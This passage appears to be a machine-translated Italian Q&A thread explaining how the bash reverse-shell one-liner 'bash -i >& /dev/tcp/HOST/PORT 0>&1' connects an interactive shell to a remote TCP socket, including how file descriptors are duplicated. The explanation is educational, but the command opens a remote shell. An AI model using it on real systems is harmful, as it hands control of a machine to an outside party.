Risposte:
Questo frammento esegue una nuova istanza interattiva di bash ( bash -i), su una connessione TCP alla porta specificata sull'host specificato, creata per la durata del processo bash. L'output standard e l'errore standard vengono inviati tramite questa connessione ( >& /dev/tcp/HOST/PORT) e l'input standard viene letto attraverso questa connessione ( 0>&1- questo dovrebbe essere 0<&1ma 0>&1funziona anche).
Non è in corso il port forwarding. Ovviamente, un server TCP di qualche tipo deve ascoltare e accettare connessioni su quel HOST: PORT, e il firewall deve lasciare passare la connessione.
/dev/tcp/HOST/PORT? Ho pensato che avresti sostituito un nome HOSTe un numero con PORT. Altrimenti riceveresti un messaggio di errore da bash. Dato che non hai menzionato alcun messaggio di errore, presumo che tu non l'abbia visto.
0<&1parte. L'ho letto come 'take bash stdout ( &1) e pipe in bash stdin ( 0)', il che ha senso. Puoi spiegare come funziona questa parte?
0<&1significa connettere tutto ciò che è attualmente aperto sul descrittore di file 1 al descrittore di file 0. Poiché il reindirizzamento precedente ha >& /dev/tcp/HOST/PORTcollegato fd 1 (il valore predefinito per un reindirizzamento dell'output) a /dev/tcp/HOST/PORT, cioè aperto un socket TCP, questo duplica la connessione TCP al descrittore di file 0 (ovvero lo stesso socket è ora aperto anche su fd 0, questo è diverso da 0 </ dev / tcp / HOST / PORT che aprirebbe un socket diverso allo stesso server).